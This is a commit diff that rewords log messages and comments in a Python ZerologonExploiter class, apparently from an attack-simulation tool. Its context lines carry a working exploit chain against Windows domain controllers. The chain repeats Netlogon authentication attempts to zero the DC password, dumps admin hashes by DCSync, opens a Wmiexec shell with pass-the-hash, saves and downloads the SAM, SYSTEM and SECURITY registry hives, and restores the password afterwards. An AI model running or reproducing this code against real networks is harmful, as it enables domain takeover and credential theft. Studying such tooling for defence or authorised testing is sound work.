Improve log messages and comments
This commit is contained in:
Shreya
parent
13ef69c3ed
commit
1cf07eff89
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@ -17,7 +17,6 @@ import sys
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import time
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import traceback
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from binascii import hexlify, unhexlify
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from typing import List
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import impacket
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from Cryptodome.Cipher import AES, ARC4, DES
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@ -111,26 +110,26 @@ class ZerologonExploiter(HostExploiter):
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# Start exploiting attempts.
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# Max attempts = 2000. Expected average number of attempts needed: 256.
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LOG.debug("Attempting exploit.")
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result = None
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for _ in range(0, self.MAX_ATTEMPTS):
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try:
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result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
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except nrpc.DCERPCSessionError as ex:
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except nrpc.DCERPCSessionError as e:
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# Failure should be due to a STATUS_ACCESS_DENIED error.
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# Otherwise, the attack is probably not working.
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if ex.get_error_code() != 0xc0000022:
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LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}")
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except BaseException as ex:
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LOG.info(f"Unexpected error: {ex}")
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if e.get_error_code() != 0xc0000022:
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LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
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except BaseException as e:
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LOG.info(f"Unexpected error: {e}")
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if result is not None:
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break
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LOG.debug(f"Result error code: {result['ErrorCode']}")
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if result['ErrorCode'] == 0:
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LOG.info("Exploit complete!")
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else:
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LOG.info("Non-zero return code, something went wrong.")
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LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
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_exploited = True
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@ -142,11 +141,14 @@ class ZerologonExploiter(HostExploiter):
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# Restore DC's original password.
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if _exploited:
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try:
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self.restore_password(DC_HANDLE, DC_IP, DC_NAME)
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if self.restore_password(DC_HANDLE, DC_IP, DC_NAME):
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LOG.info("System exploited and password restored successfully.")
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except:
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else:
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LOG.info("System exploited but couldn't restore password!")
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else:
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LOG.info("System was not exploited.")
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return _exploited
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def is_exploitable(self):
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return self.zerologon_finger.get_host_fingerprint(self.host)
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@ -175,32 +177,35 @@ class ZerologonExploiter(HostExploiter):
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def restore_password(self, DC_HANDLE, DC_IP, DC_NAME):
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LOG.info("Restoring original password...")
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LOG.info("DCSync; getting original password hashes.")
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LOG.debug("DCSync; getting admin password's hashes.")
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admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP)
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try:
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if not admin_pwd_hashes:
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raise Exception("Couldn't extract admin password's hashes.")
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LOG.debug("Getting original DC password's nthash.")
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original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes)
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if not original_pwd_nthash:
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raise Exception("Couldn't extract original DC password's nthash.")
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# Keep authenticating until successful.
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LOG.debug("Attempting password restoration.")
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for _ in range(0, self.MAX_ATTEMPTS):
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rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
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if rpc_con is not None:
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break
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if rpc_con:
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LOG.info("DC machine account password should be restored to its original value.")
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LOG.debug("DC machine account password should be restored to its original value.")
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return True
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else:
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LOG.info("Failed to restore password.")
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raise Exception("Failed to restore password! Max attempts exceeded?")
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except Exception as e:
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LOG.error(e)
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def get_admin_pwd_hashes(self, DC_NAME, DC_IP) -> str:
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def get_admin_pwd_hashes(self, DC_NAME, DC_IP):
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options = self.OPTIONS_FOR_SECRETSDUMP.copy()
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options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
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options['target_ip'] = DC_IP
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@ -214,7 +219,7 @@ class ZerologonExploiter(HostExploiter):
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hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
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return ':'.join(hashes) # format - "lmhash:nthash"
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def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes) -> str:
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def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes):
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if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes):
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return
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@ -230,12 +235,14 @@ class ZerologonExploiter(HostExploiter):
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nthash = secret.split(':')[2]
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return nthash
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def get_dumped_secrets(self, options, remote_name='', username='', password='', domain='') -> List[str]:
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def get_dumped_secrets(self, options, remote_name='', username='', password='', domain=''):
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dumper = DumpSecrets(remote_name, username, password, domain, options)
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dumped_secrets = dumper.dump().split('\n')
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return dumped_secrets
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def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes):
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LOG.debug("Starting remote shell on victim.")
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wmiexec = Wmiexec(ip=DC_IP,
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username='Administrator',
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hashes=admin_pwd_hashes,
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@ -245,7 +252,7 @@ class ZerologonExploiter(HostExploiter):
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if remote_shell:
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_set_stdout_to_in_memory_text_stream()
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# Save HKLM keys on host.
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# Save HKLM keys on victim.
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shell.onecmd('reg save HKLM\SYSTEM system.save && ' +
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'reg save HKLM\SAM sam.save && ' +
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'reg save HKLM\SECURITY security.save')
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@ -255,7 +262,7 @@ class ZerologonExploiter(HostExploiter):
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shell.onecmd('get sam.save')
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shell.onecmd('get security.save')
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# Delete saved keys on host.
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# Delete saved keys on victim.
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shell.onecmd('del /f system.save sam.save security.save')
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info = _unset_stdout_and_return_captured()
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@ -310,20 +317,20 @@ class ZerologonExploiter(HostExploiter):
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resp = rpc_con.request(request)
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resp.dump()
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except Exception as ex:
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LOG.info(f"Unexpected error: {ex}")
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except Exception as e:
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LOG.info(f"Unexpected error: {e}")
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return rpc_con
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except nrpc.DCERPCSessionError as ex:
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except nrpc.DCERPCSessionError as e:
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# Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working.
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if ex.get_error_code() == 0xc0000022:
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if e.get_error_code() == 0xc0000022:
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return None
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else:
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LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}")
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LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
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except BaseException as ex:
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LOG.info(f"Unexpected error: {ex}")
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except BaseException as e:
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LOG.info(f"Unexpected error: {e}")
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class NetrServerPasswordSet(nrpc.NDRCALL):
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@ -525,7 +532,7 @@ class DumpSecrets:
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return dumped_secrets
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def cleanup(self):
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LOG.info('Cleaning up...')
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LOG.debug('Cleaning up...')
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if self.__remote_ops:
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self.__remote_ops.finish()
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if self.__SAM_hashes:
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